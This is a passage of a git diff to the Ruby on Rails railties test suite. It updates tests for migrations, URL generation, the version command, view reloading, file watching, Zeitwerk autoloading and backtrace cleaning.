       version = output.match(/(\d+)_create_users\.rb/)[1]
 
       app_file "test/models/user_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class UserTest < ActiveSupport::TestCase
           test "user" do
@@ -137,11 +147,11 @@ class UserTest < ActiveSupport::TestCase
     end
 
     test "sql structure migrations" do
-      output  = script("generate model user name:string")
+      output  = rails("generate", "model", "user", "name:string")
       version = output.match(/(\d+)_create_users\.rb/)[1]
 
       app_file "test/models/user_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class UserTest < ActiveSupport::TestCase
           test "user" do
@@ -176,11 +186,11 @@ class UserTest < ActiveSupport::TestCase
     end
 
     test "sql structure migrations when adding column to existing table" do
-      output_1  = script("generate model user name:string")
+      output_1  = rails("generate", "model", "user", "name:string")
       version_1 = output_1.match(/(\d+)_create_users\.rb/)[1]
 
       app_file "test/models/user_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
         class UserTest < ActiveSupport::TestCase
           test "user" do
             User.create! name: "Jon"
@@ -201,11 +211,11 @@ class UserTest < ActiveSupport::TestCase
 
       assert_successful_test_run("models/user_test.rb")
 
-      output_2  = script("generate migration add_email_to_users")
+      output_2  = rails("generate", "migration", "add_email_to_users")
       version_2 = output_2.match(/(\d+)_add_email_to_users\.rb/)[1]
 
       app_file "test/models/user_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class UserTest < ActiveSupport::TestCase
           test "user" do
@@ -225,15 +235,12 @@ class UserTest < ActiveSupport::TestCase
       assert_successful_test_run("models/user_test.rb")
     end
 
-    # TODO: would be nice if we could detect the schema change automatically.
-    # For now, the user has to synchronize the schema manually.
-    # This test-case serves as a reminder for this use-case.
-    test "manually synchronize test schema after rollback" do
-      output  = script("generate model user name:string")
+    test "automatically synchronizes test schema after rollback" do
+      output  = rails("generate", "model", "user", "name:string")
       version = output.match(/(\d+)_create_users\.rb/)[1]
 
       app_file "test/models/user_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class UserTest < ActiveSupport::TestCase
           test "user" do
@@ -261,10 +268,6 @@ class UserTest < ActiveSupport::TestCase
         end
       RUBY
 
-      assert_successful_test_run "models/user_test.rb"
-
-      Dir.chdir(app_path) { `bin/rails db:test:prepare` }
-
       assert_unsuccessful_run "models/user_test.rb", <<-ASSERTION
 Expected: ["id", "name"]
   Actual: ["id", "name", "age"]
@@ -272,17 +275,17 @@ class UserTest < ActiveSupport::TestCase
     end
 
     test "hooks for plugins" do
-      output  = script("generate model user name:string")
+      output  = rails("generate", "model", "user", "name:string")
       version = output.match(/(\d+)_create_users\.rb/)[1]
 
       app_file "lib/tasks/hooks.rake", <<-RUBY
         task :before_hook do
-          has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+          has_user_table = ActiveRecord::Base.lease_connection.table_exists?('users')
           puts "before: " + has_user_table.to_s
         end
 
         task :after_hook do
-          has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+          has_user_table = ActiveRecord::Base.lease_connection.table_exists?('users')
           puts "after: " + has_user_table.to_s
         end
 
@@ -291,7 +294,7 @@ class UserTest < ActiveSupport::TestCase
         end
       RUBY
       app_file "test/models/user_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
         class UserTest < ActiveSupport::TestCase
           test "user" do
             User.create! name: "Jon"
@@ -317,6 +320,74 @@ class UserTest < ActiveSupport::TestCase
       assert_not_includes output, "after:"
     end
 
+    test "schema for all the models is loaded when tests are run in eager load context" do
+      output = rails("generate", "model", "user", "name:string")
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file "db/schema.rb", <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/enable_eager_load.rb", <<-RUBY
+        Rails.application.config.eager_load = true
+      RUBY
+
+      app_file "app/models/user.rb", <<-RUBY
+        class User < ApplicationRecord
+          def self.load_schema!
+            super
+            raise "SCHEMA LOADED!"
+          end
+        end
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "SCHEMA LOADED!"
+    end
+
+    test "database-dependent attribute types are resolved when parallel tests are run in eager load context" do
+      use_postgresql
+      rails "db:drop", "db:create"
+
+      output = rails("generate", "model", "user")
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file "db/schema.rb", <<~RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_enum "user_favorite_color", ["red", "green", "blue"]
+
+          create_table :users do |t|
+            t.enum :favorite_color, enum_type: :user_favorite_color
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/enable_eager_load.rb", <<~RUBY
+        Rails.application.config.eager_load = true
+      RUBY
+
+      app_file "test/models/user_test.rb", <<~RUBY
+        require "test_helper"
+        class UserTest < ActiveSupport::TestCase
+          ENV.delete("PARALLEL_WORKERS")
+          parallelize threshold: 1, workers: 2
+
+          2.times do |i|
+            test "favorite_color uses database type (worker \#{i})" do
+              assert_instance_of ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Enum, User.type_for_attribute("favorite_color")
+            end
+          end
+        end
+      RUBY
+
+      assert_successful_test_run "models/user_test.rb"
+    ensure
+      rails "db:drop" rescue nil
+    end
+
     private
       def assert_unsuccessful_run(name, message)
         result = run_test_file(name)
@@ -331,8 +402,8 @@ def assert_successful_test_run(name)
         result
       end
 
-      def run_test_file(name, options = {})
-        Dir.chdir(app_path) { `bin/rails test "#{app_path}/test/#{name}" 2>&1` }
+      def run_test_file(name)
+        rails "test", "#{app_path}/test/#{name}", allow_failure: true
       end
   end
 end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
index 37f129475c08d..dc737089f6370 100644
--- a/railties/test/application/url_generation_test.rb
+++ b/railties/test/application/url_generation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -14,10 +16,11 @@ def app
       require "action_view/railtie"
 
       class MyApp < Rails::Application
-        secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
         config.session_store :cookie_store, key: "_myapp_session"
         config.active_support.deprecation = :log
         config.eager_load = false
+        config.hosts << proc { true }
+        config.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
       end
 
       Rails.application.initialize!
diff --git a/railties/test/application/version_test.rb b/railties/test/application/version_test.rb
new file mode 100644
index 0000000000000..ae85cf8f059c0
--- /dev/null
+++ b/railties/test/application/version_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/gem_version"
+
+class VersionTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  test "command works" do
+    output = rails("version")
+    assert_equal "Rails #{Rails.gem_version}\n", output
+  end
+
+  test "short-cut alias works" do
+    output = rails("-v")
+    assert_equal "Rails #{Rails.gem_version}\n", output
+  end
+end
diff --git a/railties/test/application/view_reloading_test.rb b/railties/test/application/view_reloading_test.rb
new file mode 100644
index 0000000000000..ac78ff89ad107
--- /dev/null
+++ b/railties/test/application/view_reloading_test.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+module ApplicationTests
+  class ViewReloadingTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'pages/:id', to: 'pages#show'
+        end
+      RUBY
+
+      app_file "app/controllers/pages_controller.rb", <<-RUBY
+        class PagesController < ApplicationController
+          layout false
+
+          def show
+          end
+        end
+      RUBY
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "views are reloaded" do
+      app_file "app/views/pages/show.html.erb", <<-RUBY
+        Before!
+      RUBY
+
+      ENV["RAILS_ENV"] = "development"
+      require "#{app_path}/config/environment"
+
+      get "/pages/foo"
+      get "/pages/foo"
+      assert_equal 200, last_response.status, last_response.body
+      assert_equal "Before!", last_response.body.strip
+
+      app_file "app/views/pages/show.html.erb", <<-RUBY
+        After!
+      RUBY
+
+      get "/pages/foo"
+      assert_equal 200, last_response.status
+      assert_equal "After!", last_response.body.strip
+    end
+  end
+end
diff --git a/railties/test/application/watcher_test.rb b/railties/test/application/watcher_test.rb
new file mode 100644
index 0000000000000..9971767027ddb
--- /dev/null
+++ b/railties/test/application/watcher_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class WatcherTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    setup :build_app
+    teardown :teardown_app
+
+    def app
+      @app ||= Rails.application
+    end
+
+    test "watchable_args does NOT include files in autoload path" do
+      add_to_config <<-RUBY
+        config.file_watcher = ActiveSupport::EventedFileUpdateChecker
+      RUBY
+      app_file "app/README.md", ""
+
+      require "#{rails_root}/config/environment"
+
+      files, _ = Rails.application.watchable_args
+      assert_not_includes files, "#{rails_root}/app/README.md"
+    end
+
+    test "watchable_args does include dirs in autoload path" do
+      add_to_config <<-RUBY
+        config.file_watcher = ActiveSupport::EventedFileUpdateChecker
+        config.autoload_paths += %W(#{rails_root}/manually-specified-path)
+      RUBY
+      app_dir "app/automatically-specified-path"
+      app_dir "manually-specified-path"
+
+      require "#{rails_root}/config/environment"
+
+      _, dirs = Rails.application.watchable_args
+
+      assert_includes dirs, "#{rails_root}/app/automatically-specified-path"
+      assert_includes dirs, "#{rails_root}/manually-specified-path"
+    end
+  end
+end
diff --git a/railties/test/application/zeitwerk_checker_test.rb b/railties/test/application/zeitwerk_checker_test.rb
new file mode 100644
index 0000000000000..b0606248161af
--- /dev/null
+++ b/railties/test/application/zeitwerk_checker_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/zeitwerk_checker"
+
+class ZeitwerkCheckerTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def boot(env = "development")
+    app(env)
+  end
+
+  test "returns an empty list for a default application" do
+    boot
+
+    assert_empty Rails::ZeitwerkChecker.check
+  end
+
+  test "raises if there is a missing constants in autoload_paths" do
+    app_file "app/models/user.rb", ""
+
+    boot
+
+    e = assert_raises(Zeitwerk::NameError) do
+      Rails::ZeitwerkChecker.check
+    end
+    assert_includes e.message, "expected file #{app_path}/app/models/user.rb to define constant User"
+  end
+
+  test "raises if there is a missing constant in autoload_once_paths" do
+    app_dir "extras"
+    app_file "extras/x.rb", ""
+
+    add_to_config 'config.autoload_once_paths << "#{Rails.root}/extras"'
+    add_to_config 'config.eager_load_paths << "#{Rails.root}/extras"'
+
+    boot
+
+    e = assert_raises(Zeitwerk::NameError) do
+      Rails::ZeitwerkChecker.check
+    end
+    assert_includes e.message, "expected file #{Rails.root}/extras/x.rb to define constant X"
+  end
+
+  test "returns an empty list unchecked directories do not exist" do
+    add_to_config 'config.autoload_paths << "#{Rails.root}/dir1"'
+    add_to_config 'config.autoload_once_paths << "#{Rails.root}/dir2"'
+
+    boot
+
+    assert_empty Rails::ZeitwerkChecker.check
+  end
+
+  test "returns an empty list if unchecked directories are empty" do
+    app_dir "dir1"
+    add_to_config 'config.autoload_paths << "#{Rails.root}/dir1"'
+
+    app_dir "dir2"
+    add_to_config 'config.autoload_once_paths << "#{Rails.root}/dir2"'
+
+    boot
+
+    assert_empty Rails::ZeitwerkChecker.check
+  end
+
+  test "returns unchecked directories" do
+    app_dir "dir1"
+    app_file "dir1/x.rb", "X = 1"
+    add_to_config 'config.autoload_paths << "#{Rails.root}/dir1"'
+
+    app_dir "dir2"
+    app_file "dir2/y.rb", "Y = 1"
+    add_to_config 'config.autoload_once_paths << "#{Rails.root}/dir2"'
+
+    boot
+
+    assert_equal ["#{app_path}/dir1", "#{app_path}/dir2"], Rails::ZeitwerkChecker.check.sort
+  end
+end
diff --git a/railties/test/application/zeitwerk_inflector_test.rb b/railties/test/application/zeitwerk_inflector_test.rb
new file mode 100644
index 0000000000000..b81986fdc88c2
--- /dev/null
+++ b/railties/test/application/zeitwerk_inflector_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ZeitwerkInflectorTest < ActiveSupport::TestCase
+  INFLECTOR = Rails::Autoloaders::Inflector
+
+  def reset_overrides
+    INFLECTOR.instance_variable_get(:@overrides).clear
+  end
+
+  def camelize(basename)
+    INFLECTOR.camelize(basename, nil)
+  end
+
+  setup do
+    reset_overrides
+    @original_inflections = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections.dup)
+  end
+
+  teardown do
+    reset_overrides
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: @original_inflections)
+  end
+
+  test "it camelizes regular basenames with String#camelize" do
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.acronym("SSL")
+    end
+
+    assert_equal "User", camelize("user")
+    assert_equal "UsersController", camelize("users_controller")
+    assert_equal "Point3d", camelize("point_3d")
+    assert_equal "SSLError", camelize("ssl_error")
+  end
+
+  test "overrides take precedence" do
+    # Precondition, ensure we are testing something.
+    assert_equal "MysqlAdapter", camelize("mysql_adapter")
+
+    INFLECTOR.inflect("mysql_adapter" => "MySQLAdapter")
+    assert_equal "MySQLAdapter", camelize("mysql_adapter")
+
+    # The fallback is still in place.
+    assert_equal "UsersController", camelize("users_controller")
+  end
+end
diff --git a/railties/test/application/zeitwerk_integration_test.rb b/railties/test/application/zeitwerk_integration_test.rb
new file mode 100644
index 0000000000000..f836a09ec3420
--- /dev/null
+++ b/railties/test/application/zeitwerk_integration_test.rb
@@ -0,0 +1,377 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+class ZeitwerkIntegrationTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def setup
+    build_app
+  end
+
+  def boot(env = "development")
+    app(env)
+  end
+
+  def teardown
+    teardown_app
+  end
+
+  def deps
+    ActiveSupport::Dependencies
+  end
+
+  test "The integration is minimally looking good" do
+    boot
+
+    assert_predicate Rails.autoloaders, :zeitwerk_enabled?
+    assert_instance_of Zeitwerk::Loader, Rails.autoloaders.main
+    assert_instance_of Zeitwerk::Loader, Rails.autoloaders.once
+    assert_equal [Rails.autoloaders.main, Rails.autoloaders.once], Rails.autoloaders.to_a
+  end
+
+  test "autoloaders inflect with Active Support" do
+    app_file "config/initializers/inflections.rb", <<-RUBY
+      ActiveSupport::Inflector.inflections(:en) do |inflect|
+        inflect.acronym 'RESTful'
+      end
+    RUBY
+
+    app_file "app/controllers/restful_controller.rb", <<-RUBY
+      class RESTfulController < ApplicationController
+      end
+    RUBY
+
+    boot
+
+    basename  = "restful_controller"
+    abspath   = "#{Rails.root}/app/controllers/#{basename}.rb"
+    camelized = "RESTfulController"
+
+    Rails.autoloaders.each do |autoloader|
+      assert_equal camelized, autoloader.inflector.camelize(basename, abspath)
+    end
+
+    assert RESTfulController
+  end
+
+  test "root directories manually set by the user are honored (once)" do
+    app_file "extras1/x.rb", "ZeitwerkIntegrationTestExtras::X = true"
+    app_file "extras2/y.rb", "ZeitwerkIntegrationTestExtras::Y = true"
+
+    add_to_env_config "development", <<~'RUBY'
+      config.autoload_once_paths << "#{Rails.root}/extras1"
+      config.autoload_once_paths << Rails.root.join("extras2")
+
+      module ZeitwerkIntegrationTestExtras; end
+
+      autoloader = Rails.autoloaders.once
+      autoloader.push_dir("#{Rails.root}/extras1", namespace: ZeitwerkIntegrationTestExtras)
+      autoloader.push_dir("#{Rails.root}/extras2", namespace: ZeitwerkIntegrationTestExtras)
+    RUBY
+
+    boot
+
+    assert ZeitwerkIntegrationTestExtras::X
+    assert ZeitwerkIntegrationTestExtras::Y
+  end
+
+  test "root directories manually set by the user are honored (main)" do
+    app_file "app/services/x.rb", "ZeitwerkIntegrationTestServices::X = true"
+    app_file "extras/x.rb", "ZeitwerkIntegrationTestExtras::X = true"
+
+    app_file "config/initializers/namespaces.rb", <<~'RUBY'
+      module ZeitwerkIntegrationTestServices; end
+      module ZeitwerkIntegrationTestExtras; end
+
+      ActiveSupport::Dependencies.autoload_paths << Rails.root.join("extras")
+
+      Rails.autoloaders.main.tap do |main|
+        main.push_dir("#{Rails.root}/app/services", namespace: ZeitwerkIntegrationTestServices)
+        main.push_dir("#{Rails.root}/extras", namespace: ZeitwerkIntegrationTestExtras)
+      end
+    RUBY
+
+    boot
+
+    assert ZeitwerkIntegrationTestServices::X
+    assert ZeitwerkIntegrationTestExtras::X
+  end
+
+  test "the once autoloader can autoload from initializers" do
+    app_file "extras0/x.rb", "X = 0"
+    app_file "extras1/y.rb", "Y = 0"
+
+    # We should be able to configure autoload_once_paths in
+    # config/application.rb and in config/environments/*.rb.
+    add_to_config 'config.autoload_once_paths << "#{Rails.root}/extras0"'
+    add_to_env_config "development", 'config.autoload_once_paths << "#{Rails.root}/extras1"'
+
+    # Collections should br frozen after bootstrap, and you are ready to
+    # autoload with the once autoloader. In particular, from initializers.
+    $config_autoload_once_paths_is_frozen = false
+    $global_autoload_once_paths_is_frozen = false
+    add_to_config <<~RUBY
+    initializer :test_autoload_once_paths_is_frozen, after: :bootstrap_hook do
+      $config_autoload_once_paths_is_frozen = config.autoload_once_paths.frozen?
+      $global_autoload_once_paths_is_frozen = ActiveSupport::Dependencies.autoload_once_paths.frozen?
+      X
+    end
+    RUBY
+
+    app_file "config/initializers/autoload_Y.rb", "Y.succ"
+
+    # Preconditions.
+    assert_not Object.const_defined?(:X)
+    assert_not Object.const_defined?(:Y)
+
+    boot
+
+    assert Object.const_defined?(:X)
+    assert Object.const_defined?(:Y)
+    assert $config_autoload_once_paths_is_frozen
+    assert $global_autoload_once_paths_is_frozen
+  end
+
+  test "the once autoloader can eager load" do
+    app_file "app/serializers/money_serializer.rb", "MoneySerializer = :dummy_value"
+
+    add_to_config 'config.autoload_once_paths << "#{Rails.root}/app/serializers"'
+    add_to_config 'config.eager_load_paths << "#{Rails.root}/app/serializers"'
+
+    assert_not Object.const_defined?(:MoneySerializer)
+
+    boot("production")
+
+    assert Object.const_defined?(:MoneySerializer)
+  end
+
+  test "eager loading loads the application code" do
+    $zeitwerk_integration_test_user = false
+    $zeitwerk_integration_test_post = false
+
+    app_file "app/models/user.rb", "class User; end; $zeitwerk_integration_test_user = true"
+    app_file "app/models/post.rb", "class Post; end; $zeitwerk_integration_test_post = true"
+
+    boot("production")
+
+    assert $zeitwerk_integration_test_user
+    assert $zeitwerk_integration_test_post
+  end
+
+  test "eager loading loads the application code if invoked manually too (regression test)" do
+    $zeitwerk_integration_test_user = false
+    $zeitwerk_integration_test_post = false
+
+    app_file "app/models/user.rb", "class User; end; $zeitwerk_integration_test_user = true"
+    app_file "app/models/post.rb", "class Post; end; $zeitwerk_integration_test_post = true"
+
+    boot
+
+    # Preconditions.
+    assert_not $zeitwerk_integration_test_user
+    assert_not $zeitwerk_integration_test_post
+
+    Rails.application.eager_load!
+
+    # Postconditions.
+    assert $zeitwerk_integration_test_user
+    assert $zeitwerk_integration_test_post
+  end
+
+  test "reloading is enabled if config.enable_reloading is true" do
+    add_to_env_config "development", "config.enable_reloading = true"
+
+    boot
+
+    assert_predicate Rails.autoloaders.main, :reloading_enabled?
+    assert_not Rails.autoloaders.once.reloading_enabled?
+  end
+
+  test "reloading is disabled if config.enable_reloading is false" do
+    add_to_env_config "development", "config.enable_reloading = false"
+
+    boot
+
+    assert_not Rails.autoloaders.main.reloading_enabled?
+    assert_not Rails.autoloaders.once.reloading_enabled?
+  end
+
+  test "eager loading loads code in engines" do
+    $test_blog_engine_eager_loaded = false
+
+    engine("blog") do |bukkit|
+      bukkit.write("lib/blog.rb", "class BlogEngine < Rails::Engine; end")
+      bukkit.write("app/models/post.rb", "Post = $test_blog_engine_eager_loaded = true")
+    end
+
+    boot("production")
+
+    assert $test_blog_engine_eager_loaded
+  end
+
+  test "eager loading loads anything managed by Zeitwerk" do
+    $zeitwerk_integration_test_user = false
+    app_file "app/models/user.rb", "class User; end; $zeitwerk_integration_test_user = true"
+
+    $zeitwerk_integration_test_extras = false
+    app_dir "extras"
+    app_file "extras/webhook_hacks.rb", "WebhookHacks = 1; $zeitwerk_integration_test_extras = true"
+
+    require "zeitwerk"
+    autoloader = Zeitwerk::Loader.new
+    autoloader.push_dir("#{app_path}/extras")
+    autoloader.setup
+
+    boot("production")
+
+    assert $zeitwerk_integration_test_user
+    assert $zeitwerk_integration_test_extras
+  end
+
+  test "autoload directories not present in eager load paths are not eager loaded" do
+    $zeitwerk_integration_test_user = false
+    app_file "app/models/user.rb", "class User; end; $zeitwerk_integration_test_user = true"
+
+    $zeitwerk_integration_test_extras = false
+    app_dir "extras"
+    app_file "extras/websocket_hacks.rb", "WebsocketHacks = 1; $zeitwerk_integration_test_extras = true"
+    add_to_config "config.autoload_once_paths << '#{app_path}/extras'"
+
+    boot("production")
+
+    assert $zeitwerk_integration_test_user
+    assert_not $zeitwerk_integration_test_extras
+
+    assert WebsocketHacks
+    assert $zeitwerk_integration_test_extras
+  end
+
+  test "autoload_paths not in autoload_once_paths are set as root dirs of main, and in the same order" do
+    boot
+
+    existing_autoload_paths = \
+      deps.autoload_paths.select { |dir| File.directory?(dir) } -
+      deps.autoload_once_paths
+    assert_equal existing_autoload_paths, Rails.autoloaders.main.dirs
+  end
+
+  test "autoload_once_paths go to the once autoloader, and in the same order" do
+    extras = %w(e1 e2 e3)
+    extras.each do |extra|
+      app_dir extra
+      add_to_config %(config.autoload_once_paths << "\#{Rails.root}/#{extra}")
+    end
+
+    boot
+
+    extras = extras.map { |extra| "#{app_path}/#{extra}" }
+    extras.each do |extra|
+      assert_not_includes Rails.autoloaders.main.dirs, extra
+    end
+
+    e1_index = Rails.autoloaders.once.dirs.index(extras.first)
+    assert e1_index
+    assert_equal extras, Rails.autoloaders.once.dirs.slice(e1_index, extras.length)
+  end
+
+  test "clear reloads the main autoloader, and does not reload the once one" do
+    boot
+
+    $zeitwerk_integration_reload_test = []
+
+    main_autoloader = Rails.autoloaders.main
+    def main_autoloader.reload
+      $zeitwerk_integration_reload_test << :main_autoloader
+      super
+    end
+
+    once_autoloader = Rails.autoloaders.once
+    def once_autoloader.reload
+      $zeitwerk_integration_reload_test << :once_autoloader
+      super
+    end
+
+    ActiveSupport::Dependencies.clear
+
+    assert_equal %i(main_autoloader), $zeitwerk_integration_reload_test
+  end
+
+  test "reloading eager loads again, if enabled" do
+    add_to_env_config "development", "config.eager_load = true"
+
+    $zeitwerk_integration_test_eager_load_count = 0
+    app_file "app/models/user.rb", "class User; end; $zeitwerk_integration_test_eager_load_count += 1"
+
+    boot
+    assert_equal 1, $zeitwerk_integration_test_eager_load_count
+
+    Rails.application.reloader.reload!
+    assert_equal 2, $zeitwerk_integration_test_eager_load_count
+  end
+
+  test "reloading clears autoloaded tracked classes" do
+    eval <<~RUBY
+      class Parent
+        extend ActiveSupport::DescendantsTracker
+      end
+    RUBY
+
+    app_file "app/models/child.rb", <<~RUBY
+      class Child < #{self.class.name}::Parent
+      end
+    RUBY
+
+    app_file "app/models/grandchild.rb", <<~RUBY
+      class Grandchild < Child
+      end
+    RUBY
+
+    boot
+    assert Grandchild
+
+    # Preconditions, we add some redundancy about descendants tracking.
+    assert_equal Set[Child, Grandchild], ActiveSupport::Dependencies._autoloaded_tracked_classes
+    assert_equal [Child, Grandchild], Parent.descendants
+
+    Rails.application.reloader.reload!
+
+    assert_empty ActiveSupport::Dependencies._autoloaded_tracked_classes
+    assert_equal [], Parent.descendants
+  end
+
+  test "autoloaders.logger=" do
+    boot
+
+    logger = ->(_msg) { }
+    Rails.autoloaders.logger = logger
+
+    Rails.autoloaders.each do |autoloader|
+      assert_same logger, autoloader.logger
+    end
+
+    Rails.autoloaders.logger = Rails.logger
+
+    Rails.autoloaders.each do |autoloader|
+      assert_same Rails.logger, autoloader.logger
+    end
+
+    Rails.autoloaders.logger = nil
+
+    Rails.autoloaders.each do |autoloader|
+      assert_nil autoloader.logger
+    end
+  end
+
+  test "autoloaders.log!" do
+    app_file "extras/utils.rb", "module Utils; end"
+
+    add_to_config %(config.autoload_once_paths << "\#{Rails.root}/extras")
+    add_to_config "Rails.autoloaders.log!"
+
+    out, _err = capture_io { boot }
+
+    assert_match %r/^Zeitwerk@rails.main: autoload set for ApplicationRecord/, out
+    assert_match %r/^Zeitwerk@rails.once: autoload set for Utils/, out
+  end
+end
diff --git a/railties/test/backtrace_cleaner_test.rb b/railties/test/backtrace_cleaner_test.rb
index f71e56f32328c..0defb6dc94682 100644
--- a/railties/test/backtrace_cleaner_test.rb
+++ b/railties/test/backtrace_cleaner_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/backtrace_cleaner"
 
@@ -6,27 +8,85 @@ def setup
     @cleaner = Rails::BacktraceCleaner.new
   end
 
-  test "should format installed gems correctly" do
-    backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
-    result = @cleaner.clean(backtrace, :all)
-    assert_equal "nosuchgem (1.2.3) lib/foo.rb", result[0]
+  test "#clean should consider traces from irb lines as User code" do
+    backtrace = [ "(irb):1",
+                  "/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'",
+                  "bin/rails:4:in `<main>'" ]
+    result = @cleaner.clean(backtrace)
+    assert_equal "(irb):1", result[0]
+    assert_equal 1, result.length
+  end
+
+  test "#clean should show relative paths" do
+    backtrace = [ "./test/backtrace_cleaner_test.rb:123",
+                  "/Path/to/rails/activesupport/some_testing_file.rb:42:in `test'",
+                  "bin/rails:4:in `<main>'" ]
+    result = @cleaner.clean(backtrace)
+    assert_equal "./test/backtrace_cleaner_test.rb:123", result[0]
+    assert_equal 1, result.length
+  end
+
+  test "#clean can filter for noise" do
+    backtrace = [ "(irb):1",
+                  "/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'",
+                  "bin/rails:4:in `<main>'" ]
+    result = @cleaner.clean(backtrace, :noise)
+    assert_equal "/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'", result[0]
+    assert_equal "bin/rails:4:in `<main>'", result[1]
+    assert_equal 2, result.length
   end
 
-  test "should format installed gems not in Gem.default_dir correctly" do
-    target_dir = Gem.path.detect { |p| p != Gem.default_dir }
-    # skip this test if default_dir is the only directory on Gem.path
-    if target_dir
-      backtrace = [ "#{target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
-      result = @cleaner.clean(backtrace, :all)
-      assert_equal "nosuchgem (1.2.3) lib/foo.rb", result[0]
-    end
+  test "#clean should consider traces that include dasherized Rails application name" do
+    backtrace = [ "(my-app):1",
+                  "/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'",
+                  "bin/rails:4:in `<main>'" ]
+    result = @cleaner.clean(backtrace)
+    assert_equal "(my-app):1", result[0]
+    assert_equal 1, result.length
   end
 
-  test "should consider traces from irb lines as User code" do
-    backtrace = [ "from (irb):1",
-                  "from /Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'",
-                  "from bin/rails:4:in `<main>'" ]
+  test "#clean should omit ActionView template methods names" do
+    method_name = ActionView::Template.new(nil, "app/views/application/index.html.erb", nil, locals: []).send :method_name
+    backtrace = [ "app/views/application/index.html.erb:4:in `block in #{method_name}'"]
     result = @cleaner.clean(backtrace, :all)
-    assert_equal "from (irb):1", result[0]
+    assert_equal "app/views/application/index.html.erb:4", result[0]
+  end
+
+  test "#clean should omit ActionView template methods names on Ruby 3.4+" do
+    method_name = ActionView::Template.new(nil, "app/views/application/index.html.erb", nil, locals: []).send :method_name
+    backtrace = [ "app/views/application/index.html.erb:4:in 'block in #{method_name}'"]
+    result = @cleaner.clean(backtrace, :all)
+    assert_equal "app/views/application/index.html.erb:4", result[0]
+  end
+
+  test "#clean_frame should consider traces from irb lines as User code" do
+    assert_equal "(irb):1", @cleaner.clean_frame("(irb):1")
+    assert_nil @cleaner.clean_frame("/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'")
+    assert_nil @cleaner.clean_frame("bin/rails:4:in `<main>'")
+  end
+
+  test "#clean_frame should show relative paths" do
+    assert_equal "./test/backtrace_cleaner_test.rb:123", @cleaner.clean_frame("./test/backtrace_cleaner_test.rb:123")
+    assert_nil @cleaner.clean_frame("/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'")
+    assert_nil @cleaner.clean_frame("bin/rails:4:in `<main>'")
+  end
+
+  test "#clean_frame can filter for noise" do
+    assert_nil @cleaner.clean_frame("(irb):1", :noise)
+    frame = @cleaner.clean_frame("/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'", :noise)
+    assert_equal "/Path/to/rails/railties/lib/rails/commands/console.rb:77:in `start'", frame
+    assert_equal "bin/rails:4:in `<main>'", @cleaner.clean_frame("bin/rails:4:in `<main>'", :noise)
+  end
+
+  test "#clean_frame should omit ActionView template methods names" do
+    method_name = ActionView::Template.new(nil, "app/views/application/index.html.erb", nil, locals: []).send :method_name
+    frame = @cleaner.clean_frame("app/views/application/index.html.erb:4:in `block in #{method_name}'", :all)
+    assert_equal "app/views/application/index.html.erb:4", frame
+  end
+
+  test "#clean_frame should omit ActionView template methods names on Ruby 3.4+" do
+    method_name = ActionView::Template.new(nil, "app/views/application/index.html.erb", nil, locals: []).send :method_name
+    frame = @cleaner.clean_frame("app/views/application/index.html.erb:4:in 'block in #{method_name}'", :all)
